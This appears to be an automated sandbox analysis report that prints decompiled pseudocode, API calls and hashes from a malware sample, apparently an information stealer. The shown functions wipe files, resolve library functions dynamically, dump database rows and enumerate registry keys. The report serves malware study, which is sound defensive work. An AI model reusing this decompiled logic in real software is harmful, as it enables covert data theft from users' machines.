0x00412fc2
0x00412fcf
0x00412fde
0x00412ff5
0x00412ff5
0x00412ffc
0x00000000
0x00000000
0x00413007
0x00413009
0x00000000
0x00000000
0x0041301f
0x00413024
0x00412fec
0x00412fec
0x00412fef
0x00412fef
0x00413030
0x00413032
0x00413034
0x00413042
0x00413045
0x0041304a
0x0041304a
0x0041304d
0x00413068
0x00413068
0x0041306f
0x00000000
0x00000000
0x00413084
0x0041305f
0x0041305f
0x00413062
0x00413062
0x00413099
0x0041309c
0x004130b7
0x004130b7
0x004130be
0x00000000
0x00000000
0x004130d6
0x004130db
0x004130e4
0x004130ae
0x004130ae
0x004130b1
0x004130b1
0x004130f0
0x004130f3
0x004130f9
0x004130fb
0x0041310a
0x0041310f
0x0041311b
0x0041311b
0x00413124
0x00413124
0x004130fb
0x00413127
0x00413134
0x00413137
0x0041314d
0x0041314d
0x00000000
0x00413139
0x0041313d
0x0041313f
0x00000000
0x00000000
0x00413141
0x00413157
0x00413163
0x0041316a
0x0041316c
0x0041318b
0x0041318f
0x00413191
0x004131a9
0x004131ad
0x004131af
0x004131b7
0x004131b7
0x004131c1
0x004131c7
0x004131d1
0x004131f1
0x004131f4
0x004131fa
0x004131fe
0x0041320e
0x00413212
0x00413232
0x0041323b
0x0041324a
0x00413262
0x00413271
0x00413277
0x00413281
0x00413283
0x00413361
0x0041336c
0x0041336e
0x0041337a
0x0041337e
0x00413395
0x004133b0
0x004133b6
0x004133bd
0x004133d2
0x004133d2
0x004133db
0x004133e5
0x004133ec
0x004133ec
0x004133f2
0x004133f6
0x00413415
0x00413421
0x0041343c
0x00413448
0x0041345b
0x00413467
0x00413480
0x00413486
0x0041348c
0x00413490
0x004134ac
0x004134b2
0x004134b2
0x004134b8
0x004134bf
0x00000000
0x00000000
0x004134cd
0x004134cd
0x004134e1
0x004134e7
0x004134e7
0x00000000
0x004134e7
0x0041349e
0x00000000
0x0041349e
0x00000000
0x004133fe
0x00000000
0x004133bf
0x00413387
0x00413389
0x00000000
0x00000000
0x00000000
0x0041338b
0x00000000
0x00413370
0x0041328f
0x00413292
0x004132a0
0x004132a4
0x004132b2
0x004132b5
0x004132be
0x004132be
0x004132c1
0x004132c1
0x004132cf
0x004132ec
0x004132f4
0x004132f6
0x0041331d
0x00413323
0x0041332a
0x00413346
0x0041334e
0x00413350
0x00000000
0x0041335c
0x00000000
0x00413352
0x00000000
0x004132f8
0x00000000
0x004132f8
0x004132f6
0x00413298
0x0041329a
0x00000000
0x00000000
0x00000000
0x0041329a
0x00000000
0x00413214
0x00000000
0x00413206
0x00413193
0x00413197
0x00000000
0x00000000
0x004131a4
0x00000000
0x004131a4
0x0041316e
0x00413172
0x00000000
0x00000000
0x00413181
0x00413186
0x00000000
0x00413186
0x00413137
0x00412f9c
0x00000000
0x00412fa7
0x00412f59
0x00000000
0x00412f5e
0x00412d35
0x00412c10
0x00412c10
0x00412c13
0x00412c19
0x00412c22
0x00412c28
0x00412c2f
0x00412c2f
0x00412c3e
0x00412c45
0x00412c4e
0x00412c4e
0x00412c51
0x00000000
0x00412c51
0x00000000
0x00412b27
0x00412afc
0x00000000
0x00412afc
0x00412ade
0x00000000
0x00412ade
0x00412ac0
0x00000000
0x00412ac0
0x00412a95
0x00412a9a
0x00412aa0
0x00412aa2
0x00000000
0x00000000
0x00000000
0x00412aa2
0x00412a08
0x00412a14
0x00412a14
0x00412a17
0x00412a1d
0x00412a25
0x00412a2b
0x00412a32
0x00412a32
0x00412a47
0x00412a4d
0x00412a5b
0x00412a5e
0x00000000
0x00000000
0x00412a60
0x00000000
0x00412a60
0x00000000
0x004129a3
0x00000000
0x00412905
0x00000000

Strings

T, xrefs: 00412DDF
in-gdi-devcaps-l1-1-0, xrefs: 00412905
U, xrefs: 00412DD8

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID:
String ID: T$U$in-gdi-devcaps-l1-1-0
API String ID: 0-288398438
Opcode ID: 2bf3ffbad93d0af547c7b721bbb462a3e5f9b77f0fa106bcee6d2d6edbab0e33
Instruction ID: 00dce716d0ee67761e045a8ccd0c621d7d797fa176ed0ca347538d8e8b3760a6
Opcode Fuzzy Hash: 2bf3ffbad93d0af547c7b721bbb462a3e5f9b77f0fa106bcee6d2d6edbab0e33
Instruction Fuzzy Hash: 477228B4A052698FDB24CF14C990BEABBB1BF49305F1480DAD909A7342D7389EC5CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00405DE0, Relevance: 17.5, APIs: 7, Strings: 3, Instructions: 25
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DE0() {
				CHAR* _t1;
				CHAR* _t5;
				CHAR* _t9;
				int _t10;
				CHAR* _t11;
				CHAR* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t1 =  *0x41a6a4; // 0x6770c0
				DeleteFileA(_t1);
				_t11 =  *0x41a2f0; // 0x677318
				DeleteFileA(_t11);
				_t13 =  *0x41a650; // 0x677228
				DeleteFileA(_t13);
				_t5 =  *0x41a220; // 0x677138
				DeleteFileA(_t5);
				_t12 =  *0x41a6cc; // 0x675080
				DeleteFileA(_t12);
				_t14 =  *0x41a4a8; // 0x677160
				DeleteFileA(_t14);
				_t9 =  *0x41a700; // 0x676eb8
				_t10 = DeleteFileA(_t9); // executed
				return _t10;
			}

0x00405de3
0x00405de9
0x00405def
0x00405df6
0x00405dfc
0x00405e03
0x00405e09
0x00405e0f
0x00405e15
0x00405e1c
0x00405e22
0x00405e29
0x00405e2f
0x00405e35
0x00405e3c

APIs

DeleteFileA.KERNEL32(006770C0,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DE9
DeleteFileA.KERNEL32(00677318,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DF6
DeleteFileA.KERNEL32(00677228,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E03
DeleteFileA.KERNEL32(00677138,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E0F
DeleteFileA.KERNEL32(00675080,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E1C
DeleteFileA.KERNEL32(00677160,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E29
DeleteFileA.KERNEL32(00676EB8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E35

Strings

(rg, xrefs: 00405DFC
8qg, xrefs: 00405E09
`qg, xrefs: 00405E22

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: DeleteFile
String ID: (rg$8qg$`qg
API String ID: 4033686569-315611923
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 0040B000, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B000() {
				void* _v8;
				int _v16;
				int _v20;
				struct _MEMORYSTATUSEX _v84;
				void* _t18;
				int _t27;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 = memset( &_v84, 0, 0x40);
				_v84.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v84); // executed
				if(_t18 != 1) {
					_v20 = 0;
					_v16 = 0;
				} else {
					_t27 = _v84.ullAvailPhys;
					_v20 = E00413940(_v84.ullTotalPhys, _t27, 0x100000, 0);
					_v16 = _t27;
				}
				_push(_v16);
				wsprintfA(_v8, "%d MB", _v20);
				return _v8;
			}

0x0040b01a
0x0040b025
0x0040b02b
0x0040b036
0x0040b03f
0x0040b05d
0x0040b064
0x0040b041
0x0040b048
0x0040b055
0x0040b058
0x0040b058
0x0040b06e
0x0040b07c
0x0040b08b

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
memset.NTDLL ref: 0040B025
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
__aulldiv.LIBCMT ref: 0040B050
wsprintfA.USER32 ref: 0040B07C

Strings

@, xrefs: 0040B02B
%d MB, xrefs: 0040B073

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: %d MB$@
API String ID: 3391354518-3474575989
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: d6dd67dfb3d0438e7a0ae41fe93027642831ff50444b6176823616896e2162a9
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 7F01A9B1D40208ABDB00DFE4DD49BEFB7B8FB48701F108559F615AB280D7B99A118B99

Uniqueness

Uniqueness Score: -1.00%

Function 00407060, Relevance: 13.6, APIs: 9, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407060() {
				CHAR* _t1;
				struct HINSTANCE__* _t2;
				CHAR* _t5;
				struct HINSTANCE__* _t7;
				CHAR* _t10;
				struct HINSTANCE__* _t12;
				CHAR* _t15;
				CHAR* _t18;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HINSTANCE__* _t21;
				CHAR* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				CHAR* _t25;
				struct HINSTANCE__* _t26;
				CHAR* _t27;
				struct HINSTANCE__* _t28;

				_t1 =  *0x41a6a4; // 0x6770c0
				_t2 = LoadLibraryA(_t1); // executed
				 *0x41a82c = _t2;
				if( *0x41a82c == 0) {
					return 0;
				}
				_t18 =  *0x41a4d0; // 0x678200
				_t24 =  *0x41a82c; // 0x60900000
				 *0x41a830 = GetProcAddress(_t24, _t18);
				_t5 =  *0x41a0ec; // 0x678758
				_t19 =  *0x41a82c; // 0x60900000
				 *0x41a7e8 = GetProcAddress(_t19, _t5);
				_t25 =  *0x41a43c; // 0x678050
				_t7 =  *0x41a82c; // 0x60900000
				 *0x41a804 = GetProcAddress(_t7, _t25);
				_t20 =  *0x41a41c; // 0x6787d8
				_t26 =  *0x41a82c; // 0x60900000
				 *0x41a820 = GetProcAddress(_t26, _t20);
				_t10 =  *0x41a454; // 0x6786d8
				_t21 =  *0x41a82c; // 0x60900000
				 *0x41a808 = GetProcAddress(_t21, _t10);
				_t27 =  *0x41a684; // 0x678068
				_t12 =  *0x41a82c; // 0x60900000
				 *0x41a834 = GetProcAddress(_t12, _t27);
				_t22 =  *0x41a570; // 0x678738
				_t28 =  *0x41a82c; // 0x60900000
				 *0x41a810 = GetProcAddress(_t28, _t22);
				_t15 =  *0x41a6f8; // 0x678858
				_t23 =  *0x41a82c; // 0x60900000
				 *0x41a818 = GetProcAddress(_t23, _t15);
				return 1;
			}

0x00407063
0x00407069
0x0040706f
0x0040707b
0x00000000
0x0040714b
0x00407081
0x00407088
0x00407095
0x0040709a
0x004070a0
0x004070ad
0x004070b2
0x004070b9
0x004070c5
0x004070ca
0x004070d1
0x004070de
0x004070e3
0x004070e9
0x004070f6
0x004070fb
0x00407102
0x0040710e
0x00407113
0x0040711a
0x00407127
0x0040712c
0x00407132
0x0040713f
0x00000000

APIs

LoadLibraryA.KERNEL32(006770C0,?,0040A721,?,004067AC,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00407069
GetProcAddress.KERNEL32(60900000,00678200), ref: 0040708F
GetProcAddress.KERNEL32(60900000,00678758), ref: 004070A7
GetProcAddress.KERNEL32(60900000,00678050), ref: 004070BF
GetProcAddress.KERNEL32(60900000,006787D8), ref: 004070D8
GetProcAddress.KERNEL32(60900000,006786D8), ref: 004070F0
GetProcAddress.KERNEL32(60900000,00678068), ref: 00407108
GetProcAddress.KERNEL32(60900000,00678738), ref: 00407121
GetProcAddress.KERNEL32(60900000,00678858), ref: 00407139

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 2672694bce1a196fb14c5d12644c19629fc0bc7f4ce699a9cda348cbaa83b162
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 64210DB56262009FC344EBB8ED889B637E9B74C315711C53AE505C3261D635A462CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0047003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0047024D

Strings

kernel32.dll, xrefs: 0047008F, 00470095
cess, xrefs: 0047018D

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 89cdb8077b1c32ad5cd6b62b13de62600a09f79638b03a87bbd100510a1c96a4
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: C1527974A01229DFDB64CF68C984BA9BBB1BF09304F1480DAE50DAB351DB34AE85DF15

Uniqueness

Uniqueness Score: -1.00%

Function 00406130, Relevance: 12.2, APIs: 5, Strings: 3, Instructions: 150
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00406130(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				char _v556;
				CHAR* _t43;
				void* _t45;
				intOrPtr _t46;
				void* _t49;
				intOrPtr _t50;
				void* _t53;
				intOrPtr _t54;
				void* _t57;
				intOrPtr _t58;
				intOrPtr _t62;
				char _t73;
				void* _t99;
				void* _t100;
				void* _t109;

				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				_t43 =  *0x41a200; // 0x6760e0
				_t76 =  &_v540;
				wsprintfA( &_v540, _t43, _a4);
				_t100 = _t99 + 0xc;
				_t114 = _a28;
				if(_a28 == 0) {
					_v8 = _a24;
				} else {
					_t73 = E00413730(0, 0x6400000, 0);
					_t100 = _t100 + 0xc;
					_v8 = _t73;
				}
				_t45 = E0040BF50(_t76, _t114, 0x1a); // executed
				_t46 =  *0x41a574; // 0x6760f8
				 *0x41aac8( &_v276, E0040BEB0(_a12, _t46, _t45));
				_t49 = E0040BF50(_a12, _t114, 0x1c);
				_t50 =  *0x41a518; // 0x676200
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t50, _t49));
				_t53 = E0040BF50( &_v276, _t114, 0x28);
				_t54 =  *0x41a2f8; // 0x676128
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t54, _t53));
				_t57 = E0040BF50( &_v276, _t114, 0x10); // executed
				_t58 =  *0x41a494; // 0x676140
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t58, _t57));
				_t62 = E0040C090(_a16, ",",  &_v548);
				_t109 = _t100 + 0x4c;
				_v544 = _t62;
				while(1) {
					_t115 = _v544;
					if(_v544 == 0) {
						break;
					}
					E00405E40( &_v276, _t115, _a4, _v8, 0x41401a,  &_v276, _v544, _a20, _a8, _a28, _a32); // executed
					_t62 = E0040C090(0, ",",  &_v548);
					_t109 = _t109 + 0x30;
					_v544 = _t62;
				}
				__eflags = _a28;
				if(_a28 != 0) {
					E00413800(_v8,  &_v552,  &_v556);
					E004137E0(_a24,  &_v540, _v552, _v556);
					return E0040B720( &_v8, 4);
				}
				return _t62;
			}

0x00406145
0x00406156
0x0040615f
0x00406165
0x0040616c
0x00406172
0x00406175
0x00406179
0x00406194
0x0040617b
0x00406184
0x00406189
0x0040618c
0x0040618c
0x00406199
0x004061a2
0x004061bc
0x004061c4
0x004061cd
0x004061ea
0x004061f2
0x004061fb
0x00406218
0x00406220
0x00406229
0x00406246
0x0040625c
0x00406261
0x00406264
0x0040626a
0x0040626a
0x00406271
0x00000000
0x00000000
0x0040629e
0x004062b4
0x004062b9
0x004062bc
0x004062bc
0x004062c4
0x004062c8
0x004062dc
0x004062fd
0x00000000
0x0040630b
0x00406313

APIs

wsprintfA.USER32 ref: 0040616C
lstrcpy.KERNEL32(?,00000000), ref: 004061BC
lstrcpy.KERNEL32(?,00000000), ref: 004061EA
lstrcpy.KERNEL32(?,00000000), ref: 00406218
lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

@ag, xrefs: 00406229
`g, xrefs: 0040615F
(ag, xrefs: 004061FB

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID: (ag$@ag$`g
API String ID: 553454533-3999315160
Opcode ID: 393365a3bb899764153e1fa42e09a486f5acc8d5ce57294cd61437d4c4bab3e7
Instruction ID: 97311c7f6f8bc2fe4aa679da1049fe92a67fa3411fccba4dc07eac06f42ff0f5
Opcode Fuzzy Hash: 393365a3bb899764153e1fa42e09a486f5acc8d5ce57294cd61437d4c4bab3e7
Instruction Fuzzy Hash: 365177F690010CBBC715EF94DC46FDB7378AB5C304F0445A9F609A7181EA78AA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408650, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408650(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				void* _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t40;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v276, 0x104);
				_t30 =  *0x41a418; // 0x678998
				wsprintfA( &_v276, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v8); // executed
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a790; // 0x6723f0
					_t35 =  *0x41a7e8(_v8, _t67, 0xffffffff,  &_v280, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_t40 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
					_v284 = _t40;
					while(1) {
						_t41 =  *0x41a804(_v280); // executed
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v280, 0);
						_t48 =  *0x41a820(_v280, 1);
						_t76 = _t79 + 0x10;
						_v292 = _t48;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
						 *0x41aa24(_v284, _v292);
						 *0x41aa24(_v284, "\n\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t76 = _t79 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t33;
			}

0x00408665
0x00408672
0x0040867f
0x00408690
0x00408696
0x0040869b
0x004086ac
0x004086b7
0x004086bd
0x004086c2
0x004087b2
0x004087b9
0x00000000
0x004087cc
0x004086d6
0x004086dc
0x004086e2
0x004086e9
0x004086ef
0x004086f5
0x00000000
0x00000000
0x0040870d
0x0040871c
0x00408722
0x00408725
0x00408739
0x0040874b
0x0040875f
0x00408771
0x00408771
0x0040879c
0x004087a1
0x004087ad
0x00000000
0x004087ad
0x004087d2

APIs

wsprintfA.USER32 ref: 0040867F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004086CF
RtlAllocateHeap.NTDLL(00000000), ref: 004086D6
lstrcat.KERNEL32(?,?), ref: 00408739
lstrcat.KERNEL32(?,00418BC4), ref: 0040874B
lstrcat.KERNEL32(?,?), ref: 0040875F
lstrcat.KERNEL32(?,00418BC0), ref: 00408771
lstrlen.KERNEL32(?), ref: 00408783

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 340ca0eb144f517e02d05f8716fdd593d709ac7e3989bb53e3aa0ae354c4a9b9
Instruction ID: 955311191cc75421edc53ced7400f0f4475059767564ca96251eab490a2998f9
Opcode Fuzzy Hash: 340ca0eb144f517e02d05f8716fdd593d709ac7e3989bb53e3aa0ae354c4a9b9
Instruction Fuzzy Hash: 5F41A9B1900108ABCB14DBA4DD46FDA7778AF4C705F0085A9F70997141DB35DAA1CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408150, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408150(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v268;
				char _v272;
				char _v276;
				void* _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t40;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x678838
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272); // executed
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a6ec; // 0x6751c0
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_t40 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
					_v280 = _t40;
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a24,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00408165
0x00408172
0x0040817f
0x00408193
0x00408199
0x0040819e
0x004081af
0x004081bd
0x004081c3
0x004081c8
0x004082b8
0x004082bf
0x00000000
0x004082d5
0x004081dc
0x004081e2
0x004081e8
0x004081ef
0x004081f5
0x004081fb
0x00000000
0x00000000
0x00408213
0x00408222
0x00408228
0x0040822b
0x0040823f
0x00408251
0x00408265
0x00408277
0x00408277
0x004082a2
0x004082a7
0x004082b3
0x00000000
0x004082b3
0x004082db

APIs

wsprintfA.USER32 ref: 0040817F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004081D5
RtlAllocateHeap.NTDLL(00000000), ref: 004081DC
lstrcat.KERNEL32(?,?), ref: 0040823F
lstrcat.KERNEL32(?,004191EC), ref: 00408251
lstrcat.KERNEL32(?,?), ref: 00408265
lstrcat.KERNEL32(?,00418BC4), ref: 00408277
lstrlen.KERNEL32(?), ref: 00408289

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 290ba4ca4305ba91cbd10b7fe59d6784cbbb75d076a5e41c729a90a8f09e5b54
Instruction ID: b2019dcf8292433c89953b96a3eab70520c34c161fc81907ed19fb7541bb8629
Opcode Fuzzy Hash: 290ba4ca4305ba91cbd10b7fe59d6784cbbb75d076a5e41c729a90a8f09e5b54
Instruction Fuzzy Hash: 5141ABB19001089BCB14DFA4DD46FDA7778AF48705F0085A9F709D7141DA75DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040B39D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040B39D() {
				long _t36;
				long _t39;
				long _t42;
				long _t45;
				long _t51;
				char* _t66;
				intOrPtr _t73;
				char* _t76;
				void* _t81;

				L0:
				while(1) {
					L0:
					 *(_t81 - 0xc1c) =  *(_t81 - 0xc1c) + 1;
					if( *(_t81 - 0x814) != 0) {
						break;
					}
					L2:
					 *(_t81 - 0x818) = 0x400;
					_t39 = RegEnumKeyExA( *(_t81 - 0x810),  *(_t81 - 0xc1c), _t81 - 0x408, _t81 - 0x818, 0, 0, 0, 0); // executed
					 *(_t81 - 0x814) = _t39;
					if( *(_t81 - 0x814) != 0) {
						L11:
						continue;
					} else {
						L3:
						_push(_t81 - 0x408);
						_t73 =  *0x41a230; // 0x675888
						_push(_t73);
						wsprintfA(_t81 - 0x808, "%s\%s");
						_t42 = RegOpenKeyExA(0x80000002, _t81 - 0x808, 0, 0x20019, _t81 - 0x80c); // executed
						if(_t42 == 0) {
							L5:
							 *(_t81 - 0x818) = 0x400;
							_t76 =  *0x41a71c; // 0x6790a8
							_t45 = RegQueryValueExA( *(_t81 - 0x80c), _t76, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818); // executed
							if(_t45 == 0) {
								L6:
								_push(_t81 - 0xc18);
								if( *0x41a908() > 1) {
									L7:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									 *(_t81 - 0x818) = 0x400;
									_t66 =  *0x41a450; // 0x678ec8
									_t51 = RegQueryValueExA( *(_t81 - 0x80c), _t66, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818); // executed
									if(_t51 == 0) {
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), " ");
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									}
									L9:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), "\n");
								}
							}
							L10:
							RegCloseKey( *(_t81 - 0x80c));
							goto L11;
						} else {
							L4:
							RegCloseKey( *(_t81 - 0x80c));
							_t36 = RegCloseKey( *(_t81 - 0x810));
						}
					}
					L13:
					return _t36;
					L14:
				}
				L12:
				_t36 = RegCloseKey( *(_t81 - 0x810));
				goto L13;
			}

0x0040b39d
0x0040b39d
0x0040b39d
0x0040b3a6
0x0040b3b3
0x00000000
0x00000000
0x0040b3b9
0x0040b3b9
0x0040b3e7
0x0040b3ed
0x0040b3fa
0x0040b535
0x00000000
0x0040b400
0x0040b400
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b43d
0x0040b445
0x0040b466
0x0040b466
0x0040b484
0x0040b492
0x0040b49a
0x0040b4a0
0x0040b4a6
0x0040b4b0
0x0040b4b2
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4ef
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b519
0x0040b522
0x0040b522
0x0040b4b0
0x0040b528
0x0040b52f
0x00000000
0x0040b447
0x0040b447
0x0040b44e
0x0040b45b
0x0040b45b
0x0040b445
0x0040b547
0x0040b54a
0x00000000
0x0040b54a
0x0040b53a
0x0040b541
0x00000000

APIs

